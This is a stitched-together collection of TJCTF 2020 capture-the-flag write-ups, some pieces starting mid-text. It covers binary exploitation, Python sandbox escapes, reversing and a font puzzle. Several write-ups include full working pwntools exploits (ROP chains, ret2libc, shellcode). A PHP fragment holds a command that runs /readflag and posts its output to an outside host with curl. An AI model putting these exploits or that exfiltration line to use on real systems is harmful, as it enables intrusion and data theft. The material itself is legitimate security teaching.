We've got access to `rdi` and `rsi`, nominally the first two arguments for x64 functions. Unfortunately, there's no immediate gadget that allows us to set the value of the other two gadgets — `rax` and `rdx` — arbitrarily.
For `rax`, we first considered using `get_letter()` as a gadget, but its `cmp` restrictions (of `96 < char <= 122`) are too large to immediately set rax=59. Although it is possible to reach arbitrary `rax` using a well-placed `[rbp-4]`, this was not immediately apparent at the time.
Instead, knowing that we had access to rdi and rsi, we dug through the binary for a "string" (sequence of non-'\0' bytes) of length 59, using rdi="[length-59 C-string]" and `printf()` to write the length to rax.
*That thing no one ever reads*
*That (other) thing that people demean as obtuse*
At this point, the stack might look something like this:
```+---s[]---+-------------ROP-chain-----------------+| garbage | pop-rdi | "len59_str" | .plt printf() |+---272---+----------------3*8--------------------+```
Tacking on the rsi/rdi edits needed for the syscall, it'll expand to this:```+---s[]---+-------------ROP-chain-----------------+----------------more-ROP---------------+| garbage | pop-rdi | "len59_str" | .plt printf() | pop-rsi | 0 | 0 | pop-rdi | "/bin/sh" |+---272---+----------------3*8--------------------+------------------5*8------------------+```
We're still left with `rdx`, which _may_ already be zero without attacker intervention, but we can apply ret2csu<sup>3</sup> to turn that into a guarantee.
## Execution
The final ROP chain will look like this:```+---s[]---+----------------csu part 1---------------+--------------csu part 2------------->| garbage | gadget1 | 0 | 1 | &_DYNAMIC | 0 | 0 | 0 | gadget2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 > +---272---+--------------------56-------------------+------------------64-----------------><---------------rax=59------------------+---------------rdi=rsi=0---------------+-/bin/sh-+< pop-rdi | "len59_str" | .plt printf() | pop-rsi | 0 | 0 | pop-rdi | "/bin/sh" | syscall |<----------------3*8--------------------+------------------5*8------------------+----8----+```

Works on first try.
## flag
`tjctf{st0p_th4t_r1ght_now}`
## code```pythonfrom pwn import *#lots of constantsr_offset = cyclic_find("uaac") #find this empiricallyE = ELF('./stop.o')binsh = 0x400A1A #location of the "/bin/sh" stringlen59 = 0x4006F0+5-59 #an eyeballed address containing a 59-byte long C-stringprintf = E.symbols['printf']#find these gadgets from ropper, or otherwisepop_rdi = 0x400953pop_six = 0x40094Apop_rsi_r15 = 0x400951mov_rdx_call = 0x400930dynamic_init = 0x601de0 #x/5g &_DYNAMICread_syscall = E.symbols['read'] #the read() function#helper functions to create ROPchains that write to certain registersret2csu = lambda rdx: [pop_six, 0, 1, dynamic_init, 0, 0, rdx]+[mov_rdx_call]+[0]*7rdi_rsi = lambda rdi, rsi: [pop_rdi, rdi, pop_rsi_r15, rsi, 0]#rop chain starts hererop = ret2csu(0) #rdx = 0rop+= [pop_rdi, len59, printf] #rdi = "<length-59 str>"; printf(rdi)rop+= rdi_rsi(binsh, 0) #rdi = "/bin/sh", rsi = 0rop+= [read_syscall+5] #syscallrop = ''.join(map(p64,rop))r = remote('p1.tjctf.org', 8001)r.sendlineafter('? ', 'a')assert len(rop)+r_offset < 598 #input requirementr.sendlineafter('? ', 'a'*r_offset + rop)r.interactive()```## footnotes1. `get_letter()` could be used as a way to edit rax, but `printf()` felt simpler.2. This _was_ a problem, but the solution shown here doesn't deal with this.3. https://www.rootnetsec.com/ropemporium-ret2csu/ |
# TJCTF – El Primo
* **Category:** binary* **Points:** 60
## Challenge
> My friend just started playing Brawl Stars and he keeps raging because he can't beat El Primo! Can you help him?>> Attachments:> > binary> >> > nc p1.tjctf.org 8011
## Solution
ok this time we have a pie protected 32-bit binary :

hmmm lets run and reverse the binary to see what we can do :


cool, it seems that this hint is the address of the input in the stack, but wait we can't just overflow and inject a shellcode because of the last couple instructions :
it pops ecx from the stack, then it changes esp to ecx-4, so we have to let it pop the address of the intended return address in the stack+4 so it gets subtracted by 4 then the stack pointer points to the intended return address which then the retn instruction pops and returns to
I hope you understand what I just wrote :P
payload :```offsethint+offset+4hint+offset+16nop sledsshellcode```
here's my [script](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/binary/el_primo/solve.py)
```tjctf{3L_PR1M0O0OOO!1!!}``` |
# TJCTF – Chord Encoder
* **Category:** reversing* **Points:** 40
## Challenge
> I tried creating my own chords, but my encoded sheet music is a little hard to read. Please play me my song!>> Attachments :> > chords> >> > encoded sheet music> >> > chord_encoder.py
## Solution
we open the chord_encoder.py file :
```pythonf = open('song.txt').read()
l = {'1':'A', '2':'B', '3':'C', '4':'D', '5':'E', '6':'F', '7':'G'}chords = {}for i in open('chords.txt').readlines(): c, n = i.strip().split() chords[c] = n
s = ''for i in f: c1, c2 = hex(ord(i))[2:] if c1 in l: c1 = l[c1] if c2 in l: c2 = l[c2] s += chords[c1] + chords[c2]open('notes.txt', 'w').write(s)```
we see that its reading the song.txt and hexifying each byte and replacing it with a string from this file :
```A 0112B 2110C 1012D 020E 0200F 1121G 001a 0122b 2100c 1002d 010e 0100f 1011g 000```
so as we can see we can't immediately recover the song because D,E and d,e are very similar
so I used my competitive programming skillz to write a backtrack algorithim to recover the flag : [solve.py](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/reversing/chord_encoder/solve.py)
```flag{zats_wot_1_call_a_meloD}``` |
# Timed>Written by avz92
>I found this cool program that times how long Python commands take to run! Unfortunately, the owner seems very paranoid, so there's not really much that you can test. The flag is located in the file flag.txt on the server.```bashnc p1.tjctf.org 8005```
Try connect it with netcat:```pync p1.tjctf.org 8005Type a command to time it!print('hi')Runtime: 1.00135803223e-05```
It seems only output the **execute time** of our Python command
Lets try invalid command:```pyType a command to time it!hiTraceback (most recent call last): File "/timed.py", line 36, in <module> time1=t.timeit(1) File "/usr/lib/python2.7/timeit.py", line 202, in timeit timing = self.inner(it, self.timer) File "<timeit-src>", line 6, in inner hiNameError: global name 'hi' is not definedRuntime: 0```
An error occurred! Ok lets try more:```pyType a command to time it!import osHey, no hacking!Type a command to time it!open('flag.txt').read()Hey, no hacking!Type a command to time it!() Hey, no hacking!Type a command to time it!eval("hi")Hey, no hacking!Type a command to time it!open('flag.txt','r').read(100)Runtime: 3.19480895996e-05Type a command to time it!Traceback (most recent call last): File "/timed.py", line 31, in <module> t=timeit.Timer(res) File "/usr/lib/python2.7/timeit.py", line 143, in __init__ code = compile(src, dummy_src_name, "exec") File "<timeit-src>", line 7 _t1 = _timer() ^``` It just run `exec` on our input based on the error above
It black listed `import` , `eval` and `()` but single bracket can bypass it!
## Intended Solution
As the challenge title, we need to leak the flag using timing attack
We can use `time.sleep()` function, because `time` already imported in the source code:```Type a command to time it!time.sleep(1)Runtime: 1.00111889839```Then based on the Runtime to determine our flag
The most fastest way is to convert the flag in binary and put if its `1` then sleep for some seconds
Written a python payload:```python# Loop all flag in binary form# zfill(7) because ASCII value is at most length 7 in binaryif bin(ord(open('flag.txt','r').read(100)[index]))[2:].zfill(7)[binary_index]=='1': # If is 1 then sleep for 0.2 seconds time.sleep(0.2)```
Lets test it!```Type a command to time it!if bin(ord(open('flag.txt','r').read(100)[0]))[2:].zfill(7)[0]=='1':time.sleep(1) Runtime: 1.00115013123
```Looks like the payload is working!
Written [full python script](solve.py) for leaking the full flag:```pyfrom pwn import *
p = remote("p1.tjctf.org",8005)flag = 'tjctf{'index = 6while(1): temp = '' for i in range(7): p.sendlineafter("!\n","if bin(ord(open('flag.txt','r').read(100)[{}]))[2:].zfill(7)[{}]=='1':time.sleep(0.2)".format(index,i)) p.recvuntil("Runtime: ") time = p.recvuntil("\n")[:-1] if float(time) > 0.2: temp += '1' else: temp += '0' index += 1 flag += chr(int(temp,2)) print flag```Result:```[+] Opening connection to p1.tjctf.org on port 8005: Donetjctf{itjctf{iTtjctf{iTstjctf{iTs_...tjctf{iTs_T1m3_f0r_a_flagggtjctf{iTs_T1m3_f0r_a_flaggg}```
## Unintended solution
According to the error, it is Python 2.7
In Python 2.7, if we use `input()` function the input will become real syntax (same as eval)
So I tried `input("")`:```pyType a command to time it!input("cmd:")eval() Traceback (most recent call last): File "/timed.py", line 36, in <module> time1=t.timeit(1) File "/usr/lib/python2.7/timeit.py", line 202, in timeit timing = self.inner(it, self.timer) File "<timeit-src>", line 6, in inner input("cmd:") File "<string>", line 1, in <module>TypeError: eval expected at least 1 arguments, got 0Runtime: 0```Looks like we can ran eval! We bypass the blacklist
Then we can execute `eval(content of flag)` then it will show the flag for us because got syntax error
```pyType a command to time it!input("")eval(open('flag.txt','r').read())Traceback (most recent call last):
File "/timed.py", line 36, in <module> time1=t.timeit(1) File "/usr/lib/python2.7/timeit.py", line 202, in timeit timing = self.inner(it, self.timer) File "<timeit-src>", line 6, in inner input("") File "<string>", line 1, in <module> File "<string>", line 1 tjctf{iTs_T1m3_f0r_a_flaggg} ^SyntaxError: invalid syntaxRuntime: 0```## Flag```tjctf{iTs_T1m3_f0r_a_flaggg}``` |
# tjctf: binary
## Cookie Library [90]
Written by KyleForkBomb
_My friend loves cookies. In fact, she loves them so much her favorite cookie changes all the time. She said there's no reward for guessing her favorite cookie, but I still think she's hiding something._
`nc p1.tjctf.org 8010`
## An Exercise in Futility
```sh$ ./cookie_libraryCheck out all these cookies! - snickerdoodles ... (25 lines omitted) - white chocolate macadamia nut cookiesWhich is the most tasty?tassiesI'm sorry but we can't be friends anymore```
Unflattery aside, if we want to guess the right cookie, we'll have to look at the source (minified):
```cchar *cookies[] = {"snickerdoodles", ... };int main() { char s1[76]; // [rsp+0h] [rbp-50h] int i; // [rsp+4Ch] [rbp-4h]
srand(time(0)); puts("Check out all these cookies!"); for (i = 0; i <= 27; i++) printf(" - %s\n", cookies[i]); puts("Which is the most tasty?"); gets(s1); if (!strcasecmp(s1, cookies[rand()%28])) puts("Wow, me too!"); else puts("I'm sorry but we can't be friends anymore");}```
Simple enough. We'll use `ctypes` to simulate `rand()`, taking our system's clock as the right seed for `srand()`. Putting it together into a pwntools script:```pythonfrom pwn import *from ctypes import CDLLlib = CDLL('libc.so.6')lib.srand(lib.time(0))cookie = lib.rand()%28r = remote('p1.tjctf.org', 8010)for i in range(cookie+1): r.recvline()cookie = r.recvline()[4:-1]r.sendlineafter('?\n', cookie)r.interactive()```We can test it out, and surely enough, we'll get past the `if()` check:

*Wow.*
If you didn't realise during the CTF, here's the ticket: *that was completely useless*
## _Library_'s in the name
As its namesake, _Cookie Library_ is a `ret2libc` challenge, that unfortunately has no libc version given.
To get the flag for this challenge, we're going to have to do a number of things:
0. Overwrite the return pointer with `gets()`1. Figure out how to arbitrary read, because libc addresses need to be leaked2. Find the libc version using that leak, and get a `one_gadget` offset3. Simultaneously leak libc and write the correct one_gadget address to the overflow in one `remote()` connection.
Like in the previous challenge (`stop`), we'll simply use `cyclic()` and `gdb` to derive the correct offset for the return pointer, which is located at `cyclic_find("waaa")`.
To leak a libc address, we can also repeat what we did in `Stop`, using `pop rsi` and `pop rdi` gadgets to push a `"%s"` string embedded in `.rodata:400B4B+4` as an argument for `printf()`, leaking libc addresses via the GOT table.
We leak a number of addresses like so (full code in appendix),```pythonrop = leak('rand') + leak('srand')r.sendlineafter('?\n', 'a'*r_offset+ ''.join(map(p64,rop)))print('addr of rand: ' + hex(u64(r.recv(6) + '\0'*2)))r.recvline()print('addr of srand: ' + hex(u64(r.recv(6) + '\0'*2)))```The stack looking something like this:```+---s[]---+----rdi="%s\n"----+----rsi=ELF.got['rand']----+-plt.['printf']->| garbage | pop rdi | "%s\n" | pop rsi, r15 | <rand> | 0 | printf() >+---88----+--------16--------+-------------24------------+-------8--------><----rdi="%s\n"----+----rsi=ELF.got['srand']----+-plt.['printf']-+< pop rdi | "%s\n" | pop rsi, r15 | <srand> | 0 | printf() |<--------16--------+-------------24-------------+-------8--------+```And we get a number of addresses (test yourself with `python cookie.py test`):```[+] Opening connection to p1.tjctf.org on port 8010: Doneaddr of rand: 0x7f743c6e63a0addr of srand: 0x7f743c6e5bb0[*] Closed connection to p1.tjctf.org port 8010```Cool beans.
## Finalising the one_gadget
We can open up [libc-db](https://github.com/niklasb/libc-database) and figure out just which `libc.so.6` is awaiting abusual:```shlibc-database$ ./find rand 0x7f743c6e63a0 srand 0x7f743c6e5bb0http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_amd64.deb (id libc6_2.27-3ubuntu1_amd64)```After that, we can have a look at the kind of gadgets we're granted for 2.27:```shlibc-database$ one_gadget db/libc6_2.27-3ubuntu1_amd64.so0x4f2c5 execve("/bin/sh", rsp+0x40, environ)constraints: rsp & 0xf == 0 rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)constraints: [rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL```Although the first gadget looks simpler to deal with, but we're forced against the cruft:```sh$ ropper -f cookie_library.o --nocolor 2> /dev/null | grep rcx | grep -v '[rcx]' | wc 0 0 0```With no good `rcx` gadgets, we're damned to hit the highway with a `pop rsp`: `0x000000000040092d: pop rsp; pop r13; pop r14; pop r15; ret;`
To avoid having to leak the pre-existing `rsp`, we choose to switch over to a known, non-random non-PIE address to deign as the new `rsp`. The r/w `.data` segment fulfils this role adequately.
Incidentally, this is a blessing in disguise — by switching over to a controlled `rsp`, we're also given a good opportunity to write a secondary ROP chain at the same place, meaning that our overbloated payload is going to look something like this:```rop chain 1, written to s1[]:+---s[]---+----rdi="%s\n"----+----rsi=ELF.got['rand']----+-plt.['printf']->| garbage | pop rdi | "%s\n" | pop rsi, r15 | <rand> | 0 | printf() >+---88----+--------16--------+-------------24------------+-------8--------><----rdi=<.data>----+-plt.['gets']-+-rsp=ELF.symbols['data']-+< pop rdi | <.data> | gets() | pop_rsp_and_3 | <.data> |<---------16--------+------8-------+------------16-----------+rop chain 2, written to .data:+--leftover pops from prev gadget---+----one_gadget-----+-buffer-+-one_gadget requirement-+| 0 | 0 | 0 | libc_base+0x4f322 | 00 | NULL |+-----------------24----------------+---------8---------+---32---|-----------8------------+```We leak libc (via `printf()`), write a secondary rop chain with `gets()`, shift `rsp` to that rop chain, and then jump to the one_gadget.
Works like a charm.

## flag
`tjctf{c00ki3_yum_yum_mmMmMMmMMmmMm}`
## code
```pythonfrom pwn import *from sys import argvr = remote('p1.tjctf.org', 8010)#constantse = ELF('./cookie_library.o')r_offset = cyclic_find('waaa') #empirical valuepop_rdi = 0x400933 #from ropper or otherwisepop_rsi_trash = 0x400931pop_rsp_and_3 = 0x40092d#scratch spaceone_gadget = 0x4f322 #$ one_gadget libc-database/db/libc6...s_fmt = e.symbols['_IO_stdin_used'] + e.section('.rodata').index('%s')#helper functionsrdi_rsi = lambda rdi, rsi: [pop_rdi, rdi, pop_rsi_trash, rsi, 0]leak = lambda got_func: rdi_rsi(s_fmt, e.got[got_func]) + [e.plt['printf']]#add args when running to test this part of the codeif len(argv) > 1: #LEAKED: libc6_2.27-3ubuntu1_amd64 rop = leak('rand') + leak('srand') r.sendlineafter('?\n', 'a'*r_offset+ ''.join(map(p64,rop))) r.recvline() print('addr of rand: ' + hex(u64(r.recv(6) + '\0'*2))) #0x7fd470c173a0 r.recvline() print('addr of srand: ' + hex(u64(r.recv(6) + '\0'*2))) #0x7fd470c16bb0else: #rop chain 1: get libc addr and write/jmpto a new ropchain rop = leak('rand') rop+= [pop_rdi, e.symbols['__data_start'], e.symbols['gets']] rop+= [pop_rsp_and_3, e.symbols['__data_start']] r.sendlineafter('?\n', 'a'*r_offset+ ''.join(map(p64,rop))) r.recvline() #trashline rand = u64(r.recv(6) + '\0'*2) #libc of rand() one_gadget += rand - 0x443a0 #rop chain 2: one_gadget, requiring [rsp+0x40] == NULL rop2 = [0]*3 rop2+= [one_gadget] r.sendlineafter('\n', ''.join(map(p64,rop2)) + 0x60*'\0') r.interactive() #shell``` |
In this challenge we decided not to go with further php object corruption (ain't got no time for digging php internals). Instead we overwrote `__free_hook` in libc.
Now there are some problems as to how you can reliably get the offset to `__free_hook`. We solved it by dumping memory with the help of relative read and then finding the `/bin/sh` string inside that dump.This gives us the offset to the base of libc (while addresses could be dumped by reading `/proc/self/maps`).
The final stage of the exploit is to trigger `free()` with controlled data, this is done by triggering fatal error inside php by calling non-existent function with broken name that contains the command we want to execute.
``` $a = ";/readflag > /tmp/sicemehackerman; curl -X POST http://REDACTED/ -d \"@/tmp/sicemehackerman\";#"; try{ $_SERVER['DEET'] = $a();}catch(Exception $e){ echo("exception");}``` |
# tjctf: binary
## OSRS
Written by KyleForkBomb
_My friend keeps talking about Old School RuneScape. He says he made a service to tell you about trees._
_I don't know what any of this means but this system sure looks old! It has like zero security features enabled..._
`nc p1.tjctf.org 8006`
## Attacking

*zero security features* indeed
NX disabled clearly means that this will be a shellcode challenge, and a cursory glance at (cleaned) IDA will tell us just where that can be abused:
```cchar *trees[] = { "Normal", "The most common...", ... };int get_tree(){ char s[0x100]; int i; uint64_t padding; //padding added by compiler
puts("Enter a tree type: "); gets(s); //BOF here! for (i = 0; i <= 12; ++i) { if (!strcasecmp(trees[2*i], s)) return i; } printf("I don't have the tree %d :(\n", s); return -1;}```
Now, "_like_ zero security features" is a minor misdirection. ASLR is still enabled, and the stack address is only obtainable via the `printf()` leak of `s`.
The program ends right after that leak, so we'll have to reroute the return pointer towards `get_tree()` again for a 2nd buffer overflow, wherein we can allocate & jump to a `/bin/sh` shellcode.
```input 1:+---s[]---+-----r-----+| garbage | get_tree()|+--0x110--+-----4-----+input 2:+----s[]----+------r------+| shellcode | addr of s[] |+---0x110---+------4------+```
There are two corollaries to the exploit that may not be immediately apparent without experience.
Firstly, `printf()` leaks the address of `s[]` with a `%d` format specifier. The negative number that is (likely to be) outputted must be converted to its hex form in accordance with [Two's complement](https://en.wikipedia.org/wiki/Two's_complement).
Secondly, the address of `s[]` is not constant. Because 4 bytes are used in jumping to `get_tree()` again, the correct address of `s[]` for input 2 will be the leaked address +4.
With that in mind, everything will work out fine:
## flag
`tjctf{tr33_c0de_in_my_she115}`
## code
```pythonfrom pwn import *get_tree = ELF('./osrs').symbols['get_tree']r_offset = 0x10C+4r = remote('p1.tjctf.org', 8006)r.sendlineafter(': \n', r_offset*'A' + p32(get_tree))r.recvuntil('tree ')s_addr = (1<<32)+int(r.recvuntil(' '))sh = asm(shellcraft.i386.linux.sh(), arch='i386')r.sendlineafter(': \n', sh.ljust(r_offset) + p32(s_addr+4))r.interactive()``` |
This was a really fun challenge. We basically had to vary the memory addresses using the extension named [Cetus](https://github.com/Qwokka/Cetus). There was an excellent DefCon [video](https://www.youtube.com/watch?v=Sa1QzhPNHTc) explaining how it works too.
So there are these following stuff in the game. You have a store where you can purchase stuff and you can improve your inventory there too. So first we go and kill some enemies. But then it's almost impossible to kill the Boss. So this is where we must work our way by freezing the values in the addresses. Initially the player starts with a health of 20. We go to the extension and in `Value` column, enter 20 and in comparision operator enter `EQ`, then in data type enter `f32`. Then take damage from the enemy and reduce your health to 15. Now change the value operator to 15 with remaining parameters as the same. You will find an address for the health. Now freeze your health to stay immortal. Kill all the enemies till you reach the level where boss's health keeps regenerating. Go to the store and in a similar fashion find the Speed and Sword damage variables. `Reset Gold`could be of real help over here. Now change Sword damage and Speed. We should not change the address in the memory when in the store, because it sets the value back the maximum that the game allows ie. 30 damage for sword. So now we come out of the store and make our sword damage as a very large value. Then reduce the boss health to 0. After this level there's another level, where you have to teleport to get the Boss's hat. Here you hange the value in speed address to like really large value and thats how you get the boss. Now you have to get the hat. I exactly didn't understand why this happened, but reducing the value in speed variable to a large but lesser value seems to work out. If anyone does understand the reason on why this happened, please comment it.
Overall this was a really fun challenge tot work on. |
# Circles## 10 points - Writeup by Ana :)
This challenge was quite interesting to complete. We are first given the following challenge description:
`Some typefaces are mysterious, like this one - its origins are an enigma wrapped within a riddle, indeed.`
We are also provided with the flag, but each letter has been replaced by a symbol. We can tell it's the encoded flag from the curly brackets surrounding it, but we need to somehow figure out exactly what encoded it and revert the text to its normal format.

We can fill in a few letters since we know the flag is wrapped in `tjctf{}`, but this doesn't help a lot - we need to find the font (which is indicated by the fact that a typeface is mentioned in the description). Speaking of the description, we can start by googling that, which leads us to https://www.fonts.com/. It's clear that we need to find the font here.
Here's the tricky part - finding the font itself. The website has way too many fonts to go through individually, so refining search criteria is essential. After trying a few different search permutations, we are led to the right font once we search with the word `circular`!
Now that we're linked to the font's page (https://www.fonts.com/search/all-fonts?ShowAllFonts=All&searchtext=USF%20Circular%20Designs), we can start trying to decode the flag! I typed in all the alphanumeric characters in the preview box to see all the characters we needed.

Finally, we can use this as a reference to decode the flag - which is `tjctf{B3auT1ful_f0Nt}`. |
# **TJCTF 2020**
TJCTF is a Capture the Flag (CTF) competition hosted by TJHSST's Computer Security Club. It is an online, jeopardy-style competition targeted at high schoolers interested in Computer Science and Cybersecurity. Participants may compete on a team of up to 5 people, and will solve problems in categories such as Binary Exploitation, Reverse Engineering, Web Exploitation, Forensics, and Cryptography in order to gain points. The eligible teams with the most points will win prizes at the end of the competition.
This is my first writeup of a CTF and the fifth or sixth CTF I participated in,if you have any comments, questions, or found any mistakes (which I'm sure there are a lot of)please let me know. Thanks for reading!
***
# Table of Contents* [Miscellaneous](#Miscellaneous) - [A First Step](#a-first-step) - [Discord](#discord) - [Censorship](#censorship) - [Timed](#timed) - [Truly Terrible Why](#truly-terrible-why) - [Zipped Up](#zipped-up)* [Cryptography](#cryptography) - [Circles](#circles) - [Speedrunner](#speedrunner) - [Tap Dancing](#tap-dancing) - [Typewriter](#typewriter) - [Titanic](#titanic)* [Reversing](#reversing) - [Forwarding](#forwarding)* [Web](#web) - [Broken Button](#broken-button) - [File Viewer](#file-viewer)* [Forensics](#Forensics) - [Ling Ling](#ling-ling) - [Rap God](#rap-god)
***# Miscellaneous
## A First StepEvery journey has to start somewhere -- this one starts here (probably).The first flag is tjctf{so0p3r_d0oper_5ecr3t}. Submit it to get your first points!
**tjctf{so0p3r_d0oper_5ecr3t}**
Flag is in the challenge's description
## DiscordStrife, conflict, friction, hostility, disagreement. Come chat with us! We'll be sending out announcements and other important information, and maybe even a flag!
**tjctf{we_love_wumpus}**
Flag is pinned in the Discord server announcements channel
## CensorshipMy friend has some top-secret government intel. He left a message, but the government censored him! They didn't want the information to be leaked, but can you find out what he was trying to say?
` nc p1.tjctf.org 8003 `
**tjctf{TH3_1llum1n4ti_I5_R3aL}**
This challenge I solved by mistake (there are no mistakes just happy accidents) but the solution issomewhat straightforward, when we connect to the server we are greeted with the following meessege:

When we submit the answer we get following meessege:

Which is not the flag (trust me i checked), when we sumbit a wrong answer we get nothing,my first thought was that the flag returned is random and there is a chance that the real flag will be returned,so I wrote a short python script which connects to the server, reads the question and answers it:
```python 3from pwn import remoteimport re
host = "p1.tjctf.org"port = 8003s = remote(host, port)question = s.recvuntil('\n')numbers = re.findall('[0-9]+',str(question))sum = sum([int(a) for a in numbers])s.send('{}\n'.format(sum))print(s.recv())s.close()```
And during debugging I noticed something strange is happening with the output:

As you can see the server is actually returing us the flag each time we answer correctly.But, We can't see it when the output is printed in the terminal,The reason is that '\r' symbol after the flag, The symbol stands for carriage return,And in most terminal nowdays it deletes the written message and returns the cursor to the start of line,Using this symbol can actually make cool looking animation and most of the animationwe see in terminals nowdays use this symbol.
## TimedI found this cool program that times how long Python commands take to run! Unfortunately, the owner seems very paranoid, so there's not really much that you can test. The flag is located in the file flag.txt on the server.
` nc p1.tjctf.org 8005`
**tjctf{iTs_T1m3_f0r_a_flaggg}**
When we connect to the server we get the following message:

I tried using Unix commands first and quickly discovered by the error messagesthat the commands need to be python commands, furthermore, we can't see the outputof the executed commands but only the time it took for the commands to executeor an error message if an error occurred while executing the commands.I tried using python commands and modules to get a shell or get a reverse shell goingfrom the server to my host.for each command I tried I got the following message:

At this point I gave up on getting a shell and tried to see what I cando in this limited enviroment, I wanted to determine first if the commands areexecuted in python 2 or python 3, for that I checked if python recognizedbasestring, an abstract type which can't be found in python 3 and will raise anexception:


Executing basestring in the server didn't return an error message so I determinedthat the environment is python 2, and so I tried to check if I can read afile named flag.txt using python 2 I/O functions:

We can read flag.txt!, now we need to discover the flag using our onlytwo availiable outputs - the time to execute a command or an error message ifsuch error produces.We can do this by going letter by letter and executing a command that comparesthe selected letter with a letter in the flag such that if the letters match the outputwill be different so we can easily point out the matching letters and build the flag.There are two ways to do this, The first one is to use commands suchthat if the letter matches the execution time will be longer and by doingso the total runtime returned will be grater, This type of attack is calledTiming Attack and an exemple of this is linked in the resources.The second one and the one that I used is to raise an exception if the letter match inthe position such that we can the discovery of the letter is not time bound.for doing that I wrote the following code in python 3 using the pwntools module:
```python 3from pwn import remoteimport string
host = "p1.tjctf.org"port = 8005s = remote(host, port)flag = ""index = 0changed = Trues.recvuntil('!\n')while changed: changed = False for c in '_{}' + string.printable: print("testing {}".format(flag + c)) command = '''1/0 if open('flag.txt','r').read({})[{}] == ''{}' else 0\n'''.format(index + 1, index, c) print(command) s.send(command) answer = s.recvuntil("!\n") if b'Traceback' in answer: flag += c changed = True index += 1 break
```
As you can see, the code connects to the server and builds the flag by iteratingover all the printable characters and checking if the command executed raises anerror or not, the command simply checks if the character in a specific positionmatches the current tested character and if so it calculates 1/0 which in pythonthrow an exception (believe it or not there are langauges and modules where 1/0 returns infinity)else the command does nothing, if an error was raised then the letter is added to the flagand the code moves to iterate over the next character in the flie, if we finished iterating over allthe characters and none of them raised a flag we can conclude that we discovered all theflag, and we can see that the code does just that:

Side note: when writing the writeup I thought about another very easy way to get theflag, We know that we can see errors happening in the execution of commends sowe can just raise an error with the flag !, For that you need you need to use the errortype NameError to raise an error with a string but it is still a much easier and very coolway to get the flag, you can see it in action in the following picture:

**Resources:*** Pwntools : http://docs.pwntools.com* All-Army Cyberstakes! Dumping SQLite Database w/ Timing Attack : https://youtu.be/fZ3mPRctbO0
## Truly Terrible WhyYour friend gave you a remote shell to his computer and challenged you to get in, but something seems a little off... The terminal you have seems almost like it isn't responding to any of the commands you put in! Figure out how to fix the problem and get into his account to find the flag! Note: networking has been disabled on the remote shell that you have. Also, if the problem immediately kicks you off after typing in one command, it is broken. Please let the organizers know if that happens.hint : Think about program I/O on linux
`nc 52.205.246.189 9000`
**tjctf{ptys_sure_are_neat}**
This challenge was very fair in my opinion but it was easy to overcomplicate it(as I admittedly did in the beginning).When you connect to the server you are greeted with the following message:

And for every input we give no output is returned.First I tried doing blind enumaration of the files in the server using similar methods as I used in Timedbut the only true way I found to do that was to disconnect from the server using exitevery time a character match... which quickly led to me being banned from the server andso I stopped and moved to other challenges.In the meantime the challenge was patched and using the exit command no longer worked,And the hint was published.As the hint suggested there is something off about the I/O of the shellsuch that we can't see the output.But, We know that we are connected to the standard input of the shell beacuse we can execute commands.So I tried using output redirection so that the output of the commands will be redirctedto the standard input (file descriptor 0) et voila:

We got a working shell!, From thereon I tried getting an interactive shell using the common methods(listed in resources) and spawned a new shell with the output redirected to standard input:

Now we can now use the shell as (almost) a regular shell, so we can use the arrow keys anduse the sudo command, We can also see now that we are connected as problem-user.Let's see what is written in the text files:

From the message we can assume that we need to connect to other-user, And because we are givenproblem-user password we will probably need to use it for that.The first Thing I do in this situations is to check the user sodu privillages using sudo -l command:

So we run /usr/bin/chguser as root:

And as you can see by doing we connect to other-user and we are dropped at his home folder,And we got our flag.
**Resources:*** Getting fully interactive shell : https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/* Linux Redirection : https://www.guru99.com/linux-redirection.html
## Zipped UpMy friend changed the password of his Minecraft account that I was using so that I would stop being so addicted. Now he wants me to work for the password and sent me this zip file. I tried unzipping the folder, but it just led to another zipped file. Can you find me the password so I can play Minecraft again?
[link](https://static.tjctf.org/663d7cda5bde67bd38a8de1f07fb9fab9dd8dd0b75607bb459c899acb0ace980_0.zip)
**tjctf{p3sky_z1p_f1L35}**
This type of challange is pretty common in CTFs and most of the times it can be summedup to tweaking the code so that it will work with the current challenge,As you can see each compressed file contains a txt and another compressed file in a directory,If you look further you can see that there is a false flag tjctf{n0t_th3_fl4g}in some txt files (actually in all of them but one afaik).So, I wrote (mostly tweaked) a short bash scipt to not only find compressed files in the working directory and unzip them,But also check the content of the txt file and if it's not the false flag print it and stop the execution:
```bash#!/bin/bashget_flag() { for filename in $(pwd)/*; do echo "$filename" if [[ $(mimetype -b "$filename") == "application/zip" ]] then unzip "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-bzip-compressed-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-compressed-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "text/plain" ]] then if [[ $(cat "$filename") != "tjctf{n0t_th3_fl4g}" ]] then cat "$filename" return fi fi done}
find_dir(){ for filename in $(pwd)/*; do if [[ -d "$filename" ]] then cd "$filename" get_flag return fi done}echo startget_flag```
And after 829 (!) files unzipped we find the first (and afaik the only) text file that contains the flag.
***# Cryptography
## Circles
**tjctf{B3auT1ful_f0Nt}**
Some typefaces are mysterious, like this one - its origins are an enigma wrapped within a riddle, indeed.
hint : To obtain the flag, you should find the font that was used to encode the message in the picture. If you Google the description of the problem, the first website that pops up seems promising. Using a dictionary to guess/bruteforce words without finding the font will not help you. Each circle in the image represents an alphanumeric character that is part of the flag. The brackets and the underscore in the image are NOT part of the font used to encrypt the flag.

**tjctf{B3auT1ful_f0Nt}**
This challenge was really guessy and quite frustrating, As the hint suggested if we search for the challenge descriptionwe find the site fonts.com and by searching the word circular in it (yeah I know) we find our typeface:

Now that we know the name of the typeface lets find its characters map,By seaching just that I found the typeface character map (linked below) and decoded the flag.
**Resources:*** USF Circular Designs : https://www.fonts.com/font/ultimate-symbol/usf-circular-designs/packages* Character map : https://www.fonts.com/font/ultimate-symbol/usf-circular-designs/regular
